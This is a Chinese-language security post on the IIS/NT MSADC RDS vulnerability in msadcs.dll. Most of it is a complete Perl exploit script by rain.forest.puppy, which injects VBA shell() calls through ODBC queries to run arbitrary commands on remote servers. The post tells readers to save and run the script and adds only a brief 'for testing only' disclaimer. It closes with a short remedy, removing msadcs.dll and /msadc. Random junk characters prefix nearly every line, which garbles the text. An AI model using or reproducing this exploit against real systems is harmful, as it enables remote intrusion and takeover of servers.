IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
{~`{bnx^]7 qRL45[ K 涉及程序:
w1LZ\nA< Microsoft NT server
g>QN9v}) w[g`)8Ib 描述:
e)$a ;6 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
{hoe^07XK K0|:+s@u 详细:
Ctbc!<@o 如果你没有时间读详细内容的话,就删除:
:A+}fBIN c:\Program Files\Common Files\System\Msadc\msadcs.dll
"a-;?S& 有关的安全问题就没有了。
mhI {7Hc00FM 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
7c83g2|% F_@?'#m 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
eq@-J+ 关于利用ODBC远程漏洞的描述,请参看:
`SQobH hE7rnn{ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm S^iT&;, q<[o 4qY 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
b+$E*} http://www.microsoft.com/security/bulletins/MS99-025faq.asp jB,VlL _k#!^AJ}x 这里不再论述。
K"zRj L+ gF:|j( 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
qq"0X! w =1\mLI}@ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
?8FJMFv;4% 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
fo~>y '4}8WYKQ +1^L35\@ #将下面这段保存为txt文件,然后: "perl -x 文件名"
"sT)<Wc v >s,* #!perl
4'"WD0 #
|>b;M,`OO # MSADC/RDS 'usage' (aka exploit) script
Cx&l0ZXHEX #
EY0,Q { # by rain.forest.puppy
84coi #
e?pQuF~ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
vj|#M/3> # beta test and find errors!
qL5~Wr m-W 3`;1;T2$B use Socket; use Getopt::Std;
h)^|VM
getopts("e:vd:h:XR", \%args);
zU'7x U- Y]!&, e, print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
S
R s .\:MB7p if (!defined $args{h} && !defined $args{R}) {
P 1 print qq~
^91Ae!)d Usage: msadc.pl -h <host> { -d <delay> -X -v }
na@Go@q -h <host> = host you want to scan (ip or domain)
BS%pS( -d <seconds> = delay between calls, default 1 second
e ^ZY -X = dump Index Server path table, if available
u/V&1In -v = verbose
yd[4l%G(zS -e = external dictionary file for step 5
|uI~}pSG @}pcj2K# Or a -R will resume a command session
_na/&J6 |l@z7R+4* ~; exit;}
i(kx'ua? <o/l K\> $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Vi>P =i if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
FiSx"o if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
&?5me:aU if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
S VypR LVB $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
5s@xpWVot if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
sRZ?Ilua6 FL b if (!defined $args{R}){ $ret = &has_msadc;
*S?'[PS]1 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
u8gqWsvruM 0`Uw[Er& print "Please type the NT commandline you want to run (cmd /c assumed):\n"
d[Zx [=h . "cmd /c ";
v]rbm}uU9 $in=<STDIN>; chomp $in;
/PbMt $command="cmd /c " . $in ;
7}e5a c 5 Pf)&iG if (defined $args{R}) {&load; exit;}
{$>.I dKhS;!K9p print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
4q.yp0E &try_btcustmr;
}z,9!{~` eZD"!AT print "\nStep 2: Trying to make our own DSN...";
TpI8mDO\W &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
FL4BdJ\ '6\ZgOO9 print "\nStep 3: Trying known DSNs...";
pH(X;OC9S &known_dsn;
sp+'c;a Jp|eKZ print "\nStep 4: Trying known .mdbs...";
3!%-O:! &known_mdb;
E)wf'x ,5j3(Lk if (defined $args{e}){
Q
pIec\a+ print "\nStep 5: Trying dictionary of DSN names...";
+hX= &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
rjj_]1?K ;-_ZWk] print "Sorry Charley...maybe next time?\n";
1/i1o nu} exit;
gYbcBb%z <~aKwSF[wW ##############################################################################
P4.)kK.3q| \UX9[5| sub sendraw { # ripped and modded from whisker
+3sbpl2} sleep($delay); # it's a DoS on the server! At least on mine...
Uy*d@vU9c my ($pstr)=@_;
A8-a}0Gh socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
N1$PW~)Y die("Socket problems\n");
p'6XF{ if(connect(S,pack "SnA4x8",2,80,$target)){
Zrj#4E1 select(S); $|=1;
*!E~4z= print $pstr; my @in=<S>;
%m
[l/,2x select(STDOUT); close(S);
bdfs'udt9 return @in;
0g HV(L?
} else { die("Can't connect...\n"); }}
lr?SL\D w#ZzmO ##############################################################################
sLFZ61rT !b&+2y2i[W sub make_header { # make the HTTP request
,*YmXR-" my $msadc=<<EOT
5z2("[8L& POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
FM(EOsWk User-Agent: ACTIVEDATA
4S4gK Host: $ip
pjQyN|KS Content-Length: $clen
><xmw= Connection: Keep-Alive
TL)7X.1'L k~3\0man ADCClientVersion:01.06
<4<y Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
$G{j[iLY !%$,S=_F --!ADM!ROX!YOUR!WORLD!
(nXnP{yb Content-Type: application/x-varg
,In%r`{i Content-Length: $reqlen
C+"c^9[ HF"TS* EOT
IP@3R(DS% ; $msadc=~s/\n/\r\n/g;
o7WAH@g return $msadc;}
ijvDFyN> bC98<if ##############################################################################
=qpGAv_# k+*pg4' sub make_req { # make the RDS request
f=VlO d my ($switch, $p1, $p2)=@_;
6 EfBz my $req=""; my $t1, $t2, $query, $dsn;
:RxMZwa= s:_a.4&Y if ($switch==1){ # this is the btcustmr.mdb query
g$zGiqzMK $query="Select * from Customers where City=" . make_shell();
'.<c[Mp $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
cd=|P?Bi $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
g'{?j~g fD3'Ye<R elsif ($switch==2){ # this is general make table query
^,FG9 $query="create table AZZ (B int, C varchar(10))";
z] -m<#1 $dsn="$p1";}
&328pOT4 ww[||
= elsif ($switch==3){ # this is general exploit table query
*|y$z+g/ $query="select * from AZZ where C=" . make_shell();
gK@`0/k{ $dsn="$p1";}
Hc[@c)DH ;yyR_NS elsif ($switch==4){ # attempt to hork file info from index server
+\;Ro18? $query="select path from scope()";
W7gY$\1<& $dsn="Provider=MSIDXS;";}
4:^MSgra [\Nmm4 elsif ($switch==5){ # bad query
_}ii1fLv $query="select";
H9i7y,[* $dsn="$p1";}
Km!ACA&s6 iSR"$H{ $t1= make_unicode($query);
VBS}2>p $t2= make_unicode($dsn);
"A&A?% $req = "\x02\x00\x03\x00";
\13Q >iAu $req.= "\x08\x00" . pack ("S1", length($t1));
7Z~JuTIZ $req.= "\x00\x00" . $t1 ;
*9xxX,QT8Q $req.= "\x08\x00" . pack ("S1", length($t2));
<2L,+ $req.= "\x00\x00" . $t2 ;
%{pjC7j# $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
fA]sPh4Uag return $req;}
023uAaI^3r Bha("kG ##############################################################################
9v;HE{> L N.:>, sub make_shell { # this makes the shell() statement
GQk/ G0*& return "'|shell(\"$command\")|'";}
e$WAf`* eThFRU3 F ##############################################################################
Nnr[@^M5 ,4`Vl<6 sub make_unicode { # quick little function to convert to unicode
Y
.cjEeL@ my ($in)=@_; my $out;
6 C
O5:\ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
9nY|S{L return $out;}
B$YoglEW: -mGG:#yP ##############################################################################
'DNxc IVZUB*wv)b sub rdo_success { # checks for RDO return success (this is kludge)
>)='.aR< my (@in) = @_; my $base=content_start(@in);
<8Tp]1z if($in[$base]=~/multipart\/mixed/){
(aC=,5N return 1 if( $in[$base+10]=~/^\x09\x00/ );}
j|`lOH8 return 0;}
5uahfJk %'_:#!9 ##############################################################################
; %(sbA &0\:MJc sub make_dsn { # this makes a DSN for us
K3`!0( my @drives=("c","d","e","f");
l4.ql1BX@y print "\nMaking DSN: ";
^Y;,cLXJ foreach $drive (@drives) {
1gcWw, / print "$drive: ";
6-tIe_5 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
~piE$"]& "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
YVvE>1z . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Yy 0" G $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
uDkX{<_Xe return 0 if $2 eq "404"; # not found/doesn't exist
r&B0-7r if($2 eq "200") {
6}Tftw$0z foreach $line (@results) {
S)wP];]`K return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
_&U#*g } return 0;}
9-q> W *PV7s ##############################################################################
(V&d:tW 9}a$0H
h sub verify_exists {
K(PSGlI f my ($page)=@_;
]!P8 {xmb@ my @results=sendraw("GET $page HTTP/1.0\n\n");
7&wxnxSk^ return $results[0];}
I{>Z0+ : _:)S ##############################################################################
o _l_Yi 3 yb]d5:U sub try_btcustmr {
ZzTkEz > my @drives=("c","d","e","f");
zh0T3U0D my @dirs=("winnt","winnt35","winnt351","win","windows");
>o{JG(Rn 4e .19H9 foreach $dir (@dirs) {
\P9ms?((A print "$dir -> "; # fun status so you can see progress
=)c-Xz foreach $drive (@drives) {
_?cum~A@ print "$drive: "; # ditto
;|oft-y $reqlen=length( make_req(1,$drive,$dir) ) - 28;
QdcuV\B} $reqlenlen=length( "$reqlen" );
&4} =@'G@ $clen= 206 + $reqlenlen + $reqlen;
ot2zY
dWAz 42tZBz& my @results=sendraw(make_header() . make_req(1,$drive,$dir));
vqQ)Pu?T if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
:[(%4se else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
v0! 1W .{ljhE: ##############################################################################
cF=W hP*f cN?/YkW?] sub odbc_error {
r-!Qw1 my (@in)=@_; my $base;
^2 H-_ my $base = content_start(@in);
!9YCuHj!p if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$ (xdF $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1 n&%L8] $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Sw"h!\c` $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/3^XJb$Sa return $in[$base+4].$in[$base+5].$in[$base+6];}
iymN|KdpaZ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
:aaX Y:< print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
|4
\2,M# $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
t2OBVzK lVq5>:'}^; ##############################################################################
{47l1wV] EK[J!~ sub verbose {
`[#id@Z1 my ($in)=@_;
]1>R8 return if !$verbose;
chUYLX}45 print STDOUT "\n$in\n";}
!03JA 9lo ENr#3+m$; ##############################################################################
#\}FQl6 Ug546Bz sub save {
{5{VGAD&]> my ($p1, $p2, $p3, $p4)=@_;
na~ FT[3C open(OUT, ">rds.save") || print "Problem saving parameters...\n";
p U !: print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
y9R%%i close OUT;}
.N.RpRz{f v{ohrpb0v ##############################################################################
+a|Q)Ob |94o P>d sub load {
^,ISz-4 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
D84&=EpVZ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Q4LPi;{\ @p=<IN>; close(IN);
;zo|. YD $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Sa9VwVUE $target= inet_aton($ip) || die("inet_aton problems");
MI(#~\Y~P print "Resuming to $ip ...";
*P7/ry^<F $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
siCm)B if($p[1]==1) {
$H)!h^7^9 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
)$i,e`T
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
b-#{O=B my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
N *$GP3] if (rdo_success(@results)){print "Success!\n";}
.uS`RS8JM else { print "failed\n"; verbose(odbc_error(@results));}}
uI?Z_ elsif ($p[1]==3){
uo2k if(run_query("$p[3]")){
:*|Ua%L_ print "Success!\n";} else { print "failed\n"; }}
4TPdq&';C: elsif ($p[1]==4){
9DM,,h<` if(run_query($drvst . "$p[3]")){
m>P\}A^N print "Success!\n"; } else { print "failed\n"; }}
9{Et v w exit;}
uHZ4
@w: 6.KEe^[- ##############################################################################
]
L#c
<0 Jh&DL8` sub create_table {
P/1YN my ($in)=@_;
1|xe'w{ $reqlen=length( make_req(2,$in,"") ) - 28;
D^m2iW; $reqlenlen=length( "$reqlen" );
=JfwHFHd# $clen= 206 + $reqlenlen + $reqlen;
9oGcbD4* my @results=sendraw(make_header() . make_req(2,$in,""));
sK+uwt return 1 if rdo_success(@results);
9U.Ctx:F my $temp= odbc_error(@results); verbose($temp);
~BuBma_ return 1 if $temp=~/Table 'AZZ' already exists/;
2AhfQ%Y= return 0;}
$6*Yh-"g wn.6l
` ##############################################################################
u*=^>LD eCN: sub known_dsn {
M$@~|pQ< # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
)LKJfoo
PY my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
cf"&22TQ+Z "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
E%D .a=UX, "banner", "banners", "ads", "ADCDemo", "ADCTest");
|k*bWuXgLs 0ElEaH1z foreach $dSn (@dsns) {
-`\^_nVC print ".";
{'M/wT)FeC next if (!is_access("DSN=$dSn"));
p2rT0gu! if(create_table("DSN=$dSn")){
^c}3o|1m( print "$dSn successful\n";
N1c0>{ if(run_query("DSN=$dSn")){
GfK%UZ$C print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
3ddw'b'aQ print "Something's borked. Use verbose next time\n";}}} print "\n";}
Wj|W B*B =0EKrG ##############################################################################
O9By5j 4 S g1[p#U sub is_access {
SZr c-f_ my ($in)=@_;
^ }5KM87 $reqlen=length( make_req(5,$in,"") ) - 28;
[s]$& $reqlenlen=length( "$reqlen" );
:fL7"\
pf~ $clen= 206 + $reqlenlen + $reqlen;
K.wRz/M&g my @results=sendraw(make_header() . make_req(5,$in,""));
1irSI,j%z my $temp= odbc_error(@results);
>5kz#|@P verbose($temp); return 1 if ($temp=~/Microsoft Access/);
F5cNF5 return 0;}
H^S<bZ G,?a8( ##############################################################################
KyVzf(^ BRY/[QRqZ sub run_query {
-o"b$[sf=Z my ($in)=@_;
tR<#CCtRp' $reqlen=length( make_req(3,$in,"") ) - 28;
0vSPeZ
$reqlenlen=length( "$reqlen" );
}1k?t h $clen= 206 + $reqlenlen + $reqlen;
*Us}E7/"' my @results=sendraw(make_header() . make_req(3,$in,""));
DDGDj)=` return 1 if rdo_success(@results);
xsRkO9x my $temp= odbc_error(@results); verbose($temp);
e
}C,) return 0;}
[DeDU: Ty{
SZUJ ##############################################################################
Q) aZ0 Pt ,|VLOY^ sub known_mdb {
EU:N9oT my @drives=("c","d","e","f","g");
ub>:dNBN my @dirs=("winnt","winnt35","winnt351","win","windows");
Qu'#~#L` my $dir, $drive, $mdb;
\VOv&s;h my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
viYrPhH+z YfT
D # this is sparse, because I don't know of many
FT6C KsM" my @sysmdbs=( "\\catroot\\icatalog.mdb",
b~tu;: "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
qfCZ
[D "\\system32\\certmdb.mdb",
'9.@r\g "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
M"s:*c_6 Pb T2-
F_ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
@o?Y[BR "\\cfusion\\cfapps\\forums\\forums_.mdb",
7.G"U "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
s
Y1@~ v "\\cfusion\\cfapps\\security\\realm_.mdb",
s=jH1^ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
<h#W*a
"\\cfusion\\database\\cfexamples.mdb",
l(Hz9 "\\cfusion\\database\\cfsnippets.mdb",
H"w;~;h "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
;Qt/(/ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
](s5;ta "\\cfusion\\brighttiger\\database\\cleam.mdb",
.K4)#oC "\\cfusion\\database\\smpolicy.mdb",
v+g:0
C5
( "\\cfusion\\database\cypress.mdb",
x(Ew Hg>; "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
mpk+]n@ "\\website\\cgi-win\\dbsample.mdb",
~W4SFp "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
6v%ePFul "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
_e8v12s ); #these are just
Hc|cA(9sh9 foreach $drive (@drives) {
)OQ<H.X foreach $dir (@dirs){
?0sTx6x@ foreach $mdb (@sysmdbs) {
GCr]x ' print ".";
n?D/bX p if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
?5};ONjN print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
#J5_z#-Q; if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
\=|=(kt) print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
vQ2{+5!| } else { print "Something's borked. Use verbose next time\n"; }}}}}
e~'z;%O~ "dOQ)<; foreach $drive (@drives) {
d2U?rw_ foreach $mdb (@mdbs) {
v}AjW%rB
print ".";
hc0 $mit if(create_table($drv . $drive . $dir . $mdb)){
#E\6:UnT print "\n" . $drive . $dir . $mdb . " successful\n";
%8Y+Df;ax if(run_query($drv . $drive . $dir . $mdb)){
CHO_3QIz print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
>@?mP$;= } else { print "Something's borked. Use verbose next time\n"; }}}}
*""W`x
}
i+T5(P$ -j rAk ##############################################################################
HSU?4=Q SfY9PNck\ sub hork_idx {
%FqQ+0^ print "\nAttempting to dump Index Server tables...\n";
%yfl-c(u print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
b *0u xvLu $reqlen=length( make_req(4,"","") ) - 28;
&~B8~U4% $reqlenlen=length( "$reqlen" );
>X:!Y[N $clen= 206 + $reqlenlen + $reqlen;
DMp@B]> my @results=sendraw2(make_header() . make_req(4,"",""));
3'A0{(b if (rdo_success(@results)){
fJk'5kv my $max=@results; my $c; my %d;
Sj/v: for($c=19; $c<$max; $c++){
F9las#\J $results[$c]=~s/\x00//g;
-U9C{q?h $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
ku}`PS0UGd $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
o>yXEg $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
MwQt/Qv= $d{"$1$2"}="";}
d,
?GW foreach $c (keys %d){ print "$c\n"; }
# SJJ@SM } else {print "Index server doesn't seem to be installed.\n"; }}
_"t>72
`
S+t2k&pm ##############################################################################
*6=9 8C4I )xz_}6b] sub dsn_dict {
eFA,xzp open(IN, "<$args{e}") || die("Can't open external dictionary\n");
1#+|RL4o while(<IN>){
f4d-eXGwx` $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
p_JWklg^ next if (!is_access("DSN=$dSn"));
gk5Gf
l if(create_table("DSN=$dSn")){
mZ:#d;0 print "$dSn successful\n";
r>*+d|c4 if(run_query("DSN=$dSn")){
HmU6:8V
*Z print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
#D{Eq8dp print "Something's borked. Use verbose next time\n";}}}
9Nv?j=*$ print "\n"; close(IN);}
X$P(8'[9A [[N${ C ##############################################################################
%" l; o#z$LT1dY sub sendraw2 { # ripped and modded from whisker
8)"lCIf sleep($delay); # it's a DoS on the server! At least on mine...
W| 0))5a my ($pstr)=@_;
2cGiE{ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
MujEjD "| die("Socket problems\n");
` ` Yk if(connect(S,pack "SnA4x8",2,80,$target)){
{%y|A{}c print "Connected. Getting data";
$[7/~I>m open(OUT,">raw.out"); my @in;
>mEfd=p select(S); $|=1; print $pstr;
nr}Ols while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
~MYE8xrId close(OUT); select(STDOUT); close(S); return @in;
kw2d<I$] } else { die("Can't connect...\n"); }}
vMJ(Ll7/ oaILh ##############################################################################
BxQ,T@ \>n[x;$ sub content_start { # this will take in the server headers
VTyj<6Y my (@in)=@_; my $c;
31e
O2|7 for ($c=1;$c<500;$c++) {
!V/7q'&t= if($in[$c] =~/^\x0d\x0a/){
2:nI4S if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
w5/6+@} else { return $c+1; }}}
[>3dhj[; return -1;} # it should never get here actually
Z6Kp-z(l3 >*!^pbZfX ##############################################################################
mU]^PC2[ }ALli0n`V) sub funky {
^\J-LU|"B my (@in)=@_; my $error=odbc_error(@in);
n^5Q
f\ o if($error=~/ADO could not find the specified provider/){
-F3~X R print "\nServer returned an ADO miscofiguration message\nAborting.\n";
5gC>j( exit;}
5e0d;Rd
if($error=~/A Handler is required/){
Zp<#( OIu print "\nServer has custom handler filters (they most likely are patched)\n";
Q0x?OL] A exit;}
dIhfp7| if($error=~/specified Handler has denied Access/){
xpwy%uo print "\nServer has custom handler filters (they most likely are patched)\n";
u3wd~. exit;}}
bH'2iG &2q<#b ##############################################################################
Bm%|WQK ZB/1I;l`c sub has_msadc {
%Lh+W<; my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
l]&x~K} my $base=content_start(@results);
nvNF~)mu return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
&o1k_!25 return 0;}
V*Xr}FE )"6"g9A ########################
1cRF0MI HNj;_S fZ;}_wR-H 解决方案:
>dD$GD{ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
n'JS- 2、移除web 目录: /msadc